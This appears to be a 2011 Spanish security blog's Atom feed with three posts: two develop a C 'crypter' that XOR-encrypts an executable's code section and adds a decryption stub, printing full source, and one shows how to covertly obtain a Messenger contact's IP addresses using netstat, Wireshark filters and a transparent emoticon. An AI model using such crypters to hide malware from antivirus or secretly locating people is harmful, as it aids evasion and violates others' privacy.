<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4816745650066414070</id><updated>2012-01-30T10:32:23.621+01:00</updated><category term='Fast http auth scanner'/><category term='router'/><category term='información'/><category term='indetectables.net'/><category term='cracking'/><category term='antivirus'/><category term='análisis de malware'/><category term='programación'/><category term='Colaboraciones'/><category term='crypter'/><category term='Herramientas'/><category term='Humor¿?'/><category term='firmas'/><category term='Acunetix'/><category term='Linux'/><category term='Wireshark'/><category term='virus'/><category term='Metadatos'/><category term='cryptcat'/><category term='Historia sagrada'/><category term='Formato PE'/><category term='netcat'/><title type='text'>El blog de Thor</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>72</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-8925226937485811171</id><published>2011-12-19T02:33:00.001+01:00</published><updated>2011-12-19T02:33:48.219+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='crypter'/><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Cifrando un ejecutable en C, problemas (2ª parte)</title><content type='html'>&lt;p align="justify"&gt;En &lt;a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c-problemas.html"&gt;esta entrada&lt;/a&gt; expliqué los posibles problemas que pueden suceder cuando ciframos un ejecutable y en &lt;a href="http://el-blog-de-thor.blogspot.com/2011/11/cifrando-un-ejecutable-en-c-2-intento.html"&gt;la última entrada&lt;/a&gt; mejoré el “crypter” detectando estas situaciones.&lt;/p&gt; &lt;p align="justify"&gt;Pero hay otra situación en la que no había caído.&lt;/p&gt; &lt;p align="justify"&gt;Para empezar veamos la estructura típica de un ejecutable:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/-8dXMmJCiemg/Tu6UTNhVMaI/AAAAAAAAAcE/qmjkFIorIEU/s1600-h/image%25255B3%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-GAA67iT660A/Tu6UT4mE7EI/AAAAAAAAAcM/Gs6D5sMYpDs/image_thumb%25255B1%25255D.png?imgmax=800" width="307" height="446"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;La sección que nos interesa es la de código que es la que vamos a cifrar, el resto de secciones no las tocaremos.&lt;/p&gt; &lt;p align="justify"&gt;Pueden existir mas secciones por ejemplo &lt;em&gt;.idata&lt;/em&gt; donde se almacena la IT, Import Table y la IAT, Import Address Table. En muchos ejecutables esta sección no existe y la IT y la IAT se almacenan en otras secciones.&lt;/p&gt; &lt;p align="justify"&gt;Por ejemplo es habitual encontrarse con la IT en la cabecera del ejecutable y la IAT en la sección de código o ambas en la sección de código. Y esta última es la peor situación que nos puede suceder para nuestro crypter:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/-nR5y6AfagXg/Tu6UU9vdkmI/AAAAAAAAAcU/PiOXwjWWlSU/s1600-h/image%25255B7%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-OwtJPsdIyqE/Tu6UV8W9gqI/AAAAAAAAAcY/Bux0A0raRBU/image_thumb%25255B3%25255D.png?imgmax=800" width="463" height="348"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;El problema es que el crypter que estoy haciendo en su estado actual hace un XOR a toda la sección de código. Y esto sobre un ejecutable que tiene la IT en la sección de código hace que la IT quede inválida, el loader de Windows no pueda leerla y no pueda cargar el ejecutable.&lt;/p&gt; &lt;p align="justify"&gt;Este problema ya lo había explicado en &lt;a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c-problemas.html"&gt;la otra entrada&lt;/a&gt;, el otro problema, es que la IAT se encuentre en la sección de código. &lt;/p&gt; &lt;p align="justify"&gt;Supongamos que tenemos un ejecutable que tiene la IT en la cabecera (así no nos molesta) y la IAT en la sección de código:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/-nEhrUHAwAuk/Tu6UWacW0lI/AAAAAAAAAck/r0ZjdqG4ALQ/s1600-h/image%25255B14%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-3z6gd8HM4Wo/Tu6UXgW5viI/AAAAAAAAAco/4zQCwcFvaEE/image_thumb%25255B6%25255D.png?imgmax=800" width="455" height="340"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;A este ejecutable le pasamos el crypter, el cual hará un XOR a toda la sección de código y agregara una nueva sección para descifrar la sección de código:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/-JDYiiSdBtf8/Tu6UZGiVDbI/AAAAAAAAAc0/TQubQNHVom0/s1600-h/image%25255B22%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-QZ3g6cAAGMI/Tu6UaKfn8QI/AAAAAAAAAc8/NQBkngxjHHE/image_thumb%25255B10%25255D.png?imgmax=800" width="459" height="385"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;En esta situación el loader de Windows puede leer correctamente la IT y rellena correctamente la IAT con las direcciones de las funciones utilizadas por el ejecutable. &lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/-6qHClq_14mc/Tu6Ub-YzYKI/AAAAAAAAAdE/L1HA_tK8DoI/s1600-h/image%25255B34%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-hzZ5WT4raj4/Tu6UcopKdvI/AAAAAAAAAdM/TDTdhVVyRlY/image_thumb%25255B16%25255D.png?imgmax=800" width="459" height="381"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Lo siguiente que sucede es que se ejecuta el código de la nueva sección que es el encargado de descifrar la sección de código, volviendo a hacer XOR a la misma y salta al Entry Point original. &lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/-fE5u00OO9vs/Tu6Ud_eTX4I/AAAAAAAAAdU/gGC-JLhKC3k/s1600-h/image%25255B38%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-2jlwbjoNwh4/Tu6Ue3zEQMI/AAAAAAAAAdY/stqUVK_Riok/image_thumb%25255B18%25255D.png?imgmax=800" width="456" height="379"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Al hacer XOR a la sección de código para descifrarla también se ha hecho XOR a la IAT que había sido rellenada correctamente por el loader y se ha dejado la IAT con direcciones de funciones incorrectas. De modo que el ejecutable cifrado falla en cuando llama a una función de una dll, vamos…siempre.&lt;/p&gt; &lt;p align="justify"&gt;¿Cómo solucionar esto?&lt;/p&gt; &lt;p align="justify"&gt;Hay dos opciones, una fácil y otra difícil:&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="justify"&gt;La fácil: Si la IT o la IAT se encuentran en la sección de código, no hacer XOR sobre la zona donde se encuentra.&lt;/div&gt;&lt;/li&gt; &lt;li&gt; &lt;div align="justify"&gt;La difícil: Si la IT o la IAT se encuentra en la sección de código, moverlas a la nueva sección agregada por el crypter.&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="justify"&gt;En la siguiente entrada implementará la primera opción, la segunda para mas adelante.&lt;/p&gt; &lt;p align="justify"&gt;Buenas noches!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-8925226937485811171?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/8925226937485811171/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/12/cifrando-un-ejecutable-en-c-problemas-2.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/8925226937485811171'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/8925226937485811171'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/12/cifrando-un-ejecutable-en-c-problemas-2.html' title='Cifrando un ejecutable en C, problemas (2ª parte)'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/-GAA67iT660A/Tu6UT4mE7EI/AAAAAAAAAcM/Gs6D5sMYpDs/s72-c/image_thumb%25255B1%25255D.png?imgmax=800' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-4820421960666729295</id><published>2011-11-15T23:17:00.001+01:00</published><updated>2011-11-15T23:20:36.110+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='crypter'/><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><category scheme='http://www.blogger.com/atom/ns#' term='programación'/><title type='text'>Cifrando un ejecutable en C (2º intento)</title><content type='html'>&lt;p align="justify"&gt;Hace algunos meses hice &lt;a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c.html"&gt;un programa que cifraba ejecutables en C&lt;/a&gt;, mas tarde comente &lt;a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c-problemas.html"&gt;los problemas que podía dar y qué ejecutables no era capaz de cifrar&lt;/a&gt;. &lt;/p&gt; &lt;p align="justify"&gt;Ahora quiero seguir con ello y para retomar el tema tranquilamente he reorganizado el código del “crypter” utilizando los ficheros de funciones que comencé en &lt;a href="http://el-blog-de-thor.blogspot.com/2011/08/sencillo-programa-para-encontrar-huecos.html"&gt;esta entrada&lt;/a&gt; y ya de paso he añadido código para detectar cuando no es posible cifrar el programa. Para recordar esto podía suceder en las siguientes situaciones:&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="justify"&gt;No hay espacio suficiente en la cabecera PE para agregar una sección.&lt;/div&gt;&lt;/li&gt; &lt;li&gt; &lt;div align="justify"&gt;La tabla de importaciones está en la sección de código (.text, .code) que es la que cifra mi programa. Esto hace que la tabla quede cifrada y no pueda ser leída por el cargador de Windows.&lt;/div&gt;&lt;/li&gt; &lt;li&gt; &lt;div align="justify"&gt;La tabla de importaciones o la “Bound Import Table” está justo después de la tabla de secciones, de modo que si se agrega una sección sobrescribe estas tablas dañándolas.&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="justify"&gt;A continuación pongo el contenido del fichero main.cpp&lt;/p&gt;
&lt;pre class="brush: cpp"&gt;
#include &amp;lt;stdio.h&gt;
#include &amp;lt;windows.h&gt;
#include "PECore.h"

//Rutina encargada de descifrar la sección cifrada
byte uncryptroutine[] =    //21 bytes
 "\xB8\x00\x10\x40\x00"  //B8 00104000  MOV EAX, 401000    Section Start  ||Este valor será modificado
 "\x80\x30\xBB"          //8030 BB      XOR BYTE[EAX], BB  Key
 "\x40"                  //40           INC EAX
 "\x3D\x00\x45\x40\x00"  //3D 00454000  CMP EAX, 404500    Section End  ||Este valor será modificado
 "\x75\xF5"              //75 F5        JNZ SHORT -11      (Complemento a dos de 11 = F5)
 "\xB8\x00\x20\x40\x00"  //B8 00204000  MOV EAX, 402000    Pone en EAX el OEP || Este valor será modificado
 "\xFF\xE0";    //FFE0         JMP EAX     Salta al OEP

//Posiciones de la rutina que tienen que ser corregidas
const int SectionStartPos = 1;
const int KeyPos = 7;
const int SectionEndPos = 10;
const int OEPPos = 17;

const byte CipherKey = 0xBB;

//Modifica la rutina de descifrado para introducirle los datos que cambian
void ChangeUncryptRoutine(byte *uncryptroutine, DWORD VirtualStart, DWORD VirtualEnd, DWORD OEP, byte CipherKey)
{
 memcpy(&amp;uncryptroutine[SectionStartPos], &amp;VirtualStart, sizeof(DWORD));
 memcpy(&amp;uncryptroutine[SectionEndPos], &amp;VirtualEnd, sizeof(DWORD));
 memcpy(&amp;uncryptroutine[OEPPos], &amp;OEP, sizeof(DWORD));
 memcpy(&amp;uncryptroutine[KeyPos], &amp;CipherKey, sizeof(byte));
}

int main(int argc, char *argv[])
{
 if(argc != 2)
 {
  printf("Pasame un archivo como argumento, ej: %s program.exe\n", *argv);
  return EXIT_FAILURE;
 }
 //Necesitamos saber el pINH-&gt;OptionalHeader.FileAlignment para saber exactamente el tamaño del nuevo ejecutable una vez cifrado
 DWORD fileAlignment = GetFileAlignment(argv[1]);
 if (fileAlignment == -1)
  return EXIT_FAILURE;

 DWORD fileSize = GetFileSize(argv[1]);
 if (fileSize == -1)
  return EXIT_FAILURE;
 //El nuevo tamaño es el original mas el tamaño de la sección alineada
 DWORD newSize = fileSize + Align(sizeof(uncryptroutine) ,fileAlignment);
 MapInfo mapInfo;
 if (OpenAndMapFile(&amp;mapInfo, argv[1], newSize) == -1)
  return EXIT_FAILURE;
 if (!IsValidExe(mapInfo.viewMappedFile))
 {
  printf("%s no es un archivo ejecutable valido\n", *argv);
  return EXIT_FAILURE;
 }
 PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)mapInfo.viewMappedFile;
 PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&amp;mapInfo.viewMappedFile[pIDH-&gt;e_lfanew];
 PIMAGE_SECTION_HEADER pISH = RVAToSection(mapInfo.viewMappedFile, pINH-&gt;OptionalHeader.AddressOfEntryPoint);
 printf("EP apunta a la seccion: %s\n", pISH-&gt;Name);

 //Comprobamos si la IT está también en la sección de código, donde apunta el EP, si es así no podemos cifrar el ejecutable
 PIMAGE_SECTION_HEADER pIT = RVAToSection(mapInfo.viewMappedFile, pINH-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
 if (pISH == pIT)
 {
  printf("La tabla de importaciones está en la sección de código, el crypter de momento no puede cifrar estos ejecutables\n");
  return EXIT_FAILURE;
 }

 //Añadimos permisos de escritura a la sección que se va a encriptar
 pISH-&gt;Characteristics |= IMAGE_SCN_MEM_WRITE;
 printf("Añadidos permisos de escritura a la seccion: %s\n", pISH-&gt;Name);

 //Ciframos la sección donde apunta el EP
 CipherSectionXOR(mapInfo.viewMappedFile, pISH, CipherKey);
 printf("Seccion %s cifrada\n", pISH-&gt;Name);

 //Añadimos una sección para incluir en ella la rutina de descifrado
 PIMAGE_SECTION_HEADER pNewISH = AddSection(mapInfo.viewMappedFile, ".crypt", sizeof(uncryptroutine));
 if ((int)pNewISH &amp;lt; 0)
 {
  CloseAndUnmapFile(&amp;mapInfo);
  PrintfAddSectionError(pNewISH);
  return EXIT_FAILURE;
 }
 printf("Seccion %s agregada\n", pNewISH-&gt;Name); 

 DWORD OEP = pINH-&gt;OptionalHeader.AddressOfEntryPoint;
 //El nuevo entry point estará al comienzo de la nueva sección
 pINH-&gt;OptionalHeader.AddressOfEntryPoint = pNewISH-&gt;VirtualAddress;
 printf("EP cambiado a: %#x\n", pNewISH-&gt;VirtualAddress);

 //Modificamos la rutina de desencriptación
 DWORD VirtualStart = pINH-&gt;OptionalHeader.ImageBase + pISH-&gt;VirtualAddress;
 DWORD VirtualEnd = VirtualStart + pISH-&gt;Misc.VirtualSize;
 OEP += pINH-&gt;OptionalHeader.ImageBase;
 //Modifica la rutina de descifrado cambiando los datos necesarios para que funcione
 ChangeUncryptRoutine(uncryptroutine, VirtualStart, VirtualEnd, OEP, CipherKey);
 printf("Rutina de descifrado modificada con los valores: %#x-%#x, %#x, %d\n", VirtualStart, VirtualEnd, OEP, CipherKey);

 if (fileSize != pNewISH-&gt;PointerToRawData)
 {
  printf("Existen datos EOF, se copiaran al final del fichero\n");
  //Los datos EOF se desplazan al final del fichero
  memcpy(&amp;mapInfo.viewMappedFile[pNewISH-&gt;PointerToRawData + pNewISH-&gt;SizeOfRawData], &amp;mapInfo.viewMappedFile[pNewISH-&gt;PointerToRawData], fileSize - pNewISH-&gt;PointerToRawData);
 }

 //Escribimos la rutina de desencriptación al inicio de la nueva sección
 memcpy(&amp;mapInfo.viewMappedFile[pNewISH-&gt;PointerToRawData], uncryptroutine, sizeof(uncryptroutine));
 //Rellenamos de 00s el resto de la sección
 memset(&amp;mapInfo.viewMappedFile[pNewISH-&gt;PointerToRawData + sizeof(uncryptroutine)], 0, pNewISH-&gt;SizeOfRawData - sizeof(uncryptroutine));
 printf("Rutina de descifrado escrita\n");
 
 //Cerramos la vista mapeada
 CloseAndUnmapFile(&amp;mapInfo);

 printf("Archivo encriptado!\n");
 return EXIT_SUCCESS;
}
&lt;/pre&gt;
&lt;p align="justify"&gt;El resto de ficheros necesarios (PECore.cpp y PECore.h) junto al propio main.cpp los subo &lt;a href="http://www.multiupload.com/EIGJ5CRECE"&gt;aquí&lt;/a&gt;.&lt;/p&gt; &lt;p align="justify"&gt;En las siguientes entradas modificaré el crypter para que no cifre la IT si la encuentra en la sección de código, mejoraré el código en ensamblador encargado de cifrar y otras cosas según vayan surgiendo.&lt;/p&gt; &lt;p align="justify"&gt;Saludos!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-4820421960666729295?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/4820421960666729295/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/11/cifrando-un-ejecutable-en-c-2-intento.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4820421960666729295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4820421960666729295'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/11/cifrando-un-ejecutable-en-c-2-intento.html' title='Cifrando un ejecutable en C (2º intento)'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-164294495582002384</id><published>2011-09-01T09:57:00.000+02:00</published><updated>2011-09-01T09:57:00.156+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Herramientas'/><category scheme='http://www.blogger.com/atom/ns#' term='Wireshark'/><title type='text'>Cómo conseguir la IP de tus contactos de Windows Live Messenger</title><content type='html'>&lt;p align="justify"&gt;Buenas, en muchos sitios se dice cómo es posible obtener la IP de un contacto de Messenger enviándole un fichero y mirando con netstat las conexiones.&lt;/p&gt; &lt;p align="justify"&gt;Aquí voy a mostrar cómo es posible hacerlo sin enviar ningún fichero. Y obtener no solo la IP pública sino también las IPs internas de sus adaptadores de red. Se hará de forma manual, usando netstat, después usando Wireshark y por último expondré un programa que he realizado que automáticamente muestra las IPs de los contactos según se van obteniendo.&lt;/p&gt; &lt;p align="justify"&gt;Lo primero que debemos saber es cómo funciona Messenger por encima. La autenticación la realiza conectándose a los servidores de Microsoft vía SSL. Una vez autenticado todas las conversaciones pasan por los servidores de Microsoft sin ningún tipo de cifrado (así que cuidado con utilizar Messenger en redes inseguras). &lt;/p&gt; &lt;p align="justify"&gt;Un tema aparte es como se envían entre los contactos ficheros, imágenes, avatares y emoticonos. Para ello Messenger utiliza un protocolo p2p. Así que cuando un contacto solicita por ejemplo nuestro avatar se inicia una negociación entre nosotros y el contacto para ver cómo es posible realizar la conexión. En este punto ambas partes se intercambian las IPs internas y externas, puertos, tipo de conexión, si usamos NAT, UPnP, etc…&lt;/p&gt; &lt;p align="justify"&gt;En en este punto a donde podemos aprovecharnos para saber la IP del otro contacto.&lt;br&gt;&lt;/p&gt; &lt;h3 align="justify"&gt;&lt;br&gt;Con netstat&lt;/h3&gt; &lt;p align="justify"&gt;La opción más fácil es utilizar netstat para monitorizar las conexiones y ver las nuevas conexiones que realiza el proceso del Messenger. Vamos a ello. Todo desde la consola.&lt;/p&gt; &lt;p align="justify"&gt;El proceso encargado de las comunicaciones de Messenger es wlcomm.exe. Así que obtenemos su PID:&lt;/p&gt; &lt;div align="justify"&gt;&lt;pre&gt;tasklist | find "wlcomm.exe"&lt;/pre&gt;&lt;/div&gt;
&lt;p align="justify"&gt;Ahora con el PID podemos filtrar la salida de netstat para quedarnos solo con las conexiones que realiza dicho proceso(requiere permisos de administrador):&lt;/p&gt;
&lt;div align="justify"&gt;&lt;pre&gt;netstat -nabo | find "PID_ENCONTRADO"&lt;/pre&gt;&lt;/div&gt;
&lt;div align="justify"&gt;&lt;pre&gt;&lt;a href="http://lh4.ggpht.com/-MVu2q0vH4gY/Tl7OZDDFleI/AAAAAAAAAaI/dFwMSjV0rLM/s1600-h/image%25255B5%25255D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-wAC3EVDB4z8/Tl7OZcjKyCI/AAAAAAAAAaM/Ag7S8zm9ZMs/image_thumb%25255B3%25255D.png?imgmax=800" width="465" height="98"&gt;&lt;/a&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p align="justify"&gt;Ahora en este punto iniciamos una conversación con el contacto del que nos interesa saber la IP y le enviamos un emoticono personalizado, para no levantar sospechas lo mejor es un emoticono transparente o blanco. Se iniciará la negociación entre los dos clientes y se iniciará la conexión. Volvemos a lanzar el comando anterior y veremos una nueva conexión de nuestro contacto.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/-leOJRXps6aQ/Tl7OaMYbxuI/AAAAAAAAAaQ/KO-SN6RCO2w/s1600-h/image%25255B9%25255D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/-T18OX7tSHE8/Tl7OaorngoI/AAAAAAAAAaU/WDYJVfyFlNw/image_thumb%25255B5%25255D.png?imgmax=800" width="468" height="70"&gt;&lt;/a&gt;&lt;br&gt;&lt;/p&gt;
&lt;h3 align="justify"&gt;&lt;br&gt;Con Wireshark&lt;/h3&gt;
&lt;p align="justify"&gt;Vamos a filtrar los paquetes obtenidos por Wireshark para quedarnos con aquellos donde se realiza la negociación entre dos contactos. De ahí cogeremos la IP externa y las internas.&lt;/p&gt;
&lt;p align="justify"&gt;Wireshark ofrece el filtro “msnms” para quedarnos con los paquetes del procolo de Messenger.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/-psrt1GxmMP4/Tl7Oh2wrMTI/AAAAAAAAAaY/mLFK_rAJHug/s1600-h/image%25255B13%25255D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-SmfMacbD_fE/Tl7OivG2rNI/AAAAAAAAAac/F9txVlx4hCU/image_thumb%25255B7%25255D.png?imgmax=800" width="474" height="110"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Mirando paquete a paquete en uno de ellos encontraremos algo así:&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/-r9jGb9DKKGE/Tl7OjGwrctI/AAAAAAAAAag/aa6wf-SFqmQ/s1600-h/image%25255B17%25255D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-B0Ok9ZZscuI/Tl7OkGwiESI/AAAAAAAAAak/6JJMQqFlWHg/image_thumb%25255B9%25255D.png?imgmax=800" width="477" height="300"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Fijaos en estas cadenas:&lt;br&gt;“srddA-lanretxE4vPI” Dando la vuelta a la cadena: IPv4External-Addrs&lt;br&gt;“srddA-lanretnI4vPI” –&amp;gt; IPv4External-Addrs&lt;/p&gt;
&lt;p align="justify"&gt;En esos campos se muestran las IPs y puertos donde se debe realizar la conexión. Claro que hay que darles la vuelta. Mirando el campo “From:” sabremos de que contacto es la IP.&lt;/p&gt;
&lt;p align="justify"&gt;Ir mirando los paquetes uno a uno buscando estos campos no parece muy divertido. Es mas cómodo hacer un filtro que busque en todo el paquete la cadena “srddA-lanretxE4vPI” o “stroPdnAsrddAlanretxE4vPI” (que es otra de las formas en las que aparece).&lt;/p&gt;
&lt;p align="justify"&gt;Este es el filtro que se queda con los paquetes que nos interesan:&lt;/p&gt;
&lt;div align="justify"&gt;&lt;pre&gt;frame[0:] contains 73:74:72:6f:50:64:6e:41:73:72:64:64:41:6c:61:6e:72:65:74:78:45:34:76:50:49:3a:20:36:34:37:33:3a:31:39:2e:35:30:31:2e:39:34:2e:35:38:0d:0a or frame[0:] contains 73:72:64:64:41:2d:6c:61:6e:72:65:74:78:45:34:76:50:49&lt;/pre&gt;&lt;/div&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/-pq4-26uat28/Tl7OklsHfJI/AAAAAAAAAao/_XA7kX6Ocok/s1600-h/image%25255B21%25255D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-oWdUKD7rgl4/Tl7OlGLGe1I/AAAAAAAAAas/yDXz7LvPhzw/image_thumb%25255B11%25255D.png?imgmax=800" width="477" height="87"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 align="justify"&gt;&lt;br&gt;Con mi programa “GetMSNIPs”&lt;/h3&gt;
&lt;p align="justify"&gt;Usando Wireshark con el filtro se pueden obtener las IPs de una manera bastante cómoda. Pero me apetecía hacerlo un poco mas sencillo y ya de paso programar algo usando &lt;a href="http://www.winpcap.org/"&gt;WinPcap&lt;/a&gt;.&lt;/p&gt;
&lt;p align="justify"&gt;El resultado es este programa que ahora expongo, le he llamado GetMSNIPs, me encantan los nombres originales. No pongo el código aquí que son 300 líneas.&lt;/p&gt;
&lt;p align="justify"&gt;GetMSNIPs: &lt;a href="http://www.multiupload.com/MNEN41A8RQ"&gt;Source y binario&lt;/a&gt;.&lt;/p&gt;
&lt;p align="justify"&gt;Una captura de cómo funciona:&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/-D2w-Y76XEGA/Tl7Ols-xRcI/AAAAAAAAAaw/mlFWySM5zjE/s1600-h/image%25255B25%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/-fpWVu-5mKuw/Tl7OmUYQbAI/AAAAAAAAAa0/wMCZzkJLOM4/image_thumb%25255B13%25255D.png?imgmax=800" width="472" height="269"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;&lt;/p&gt;
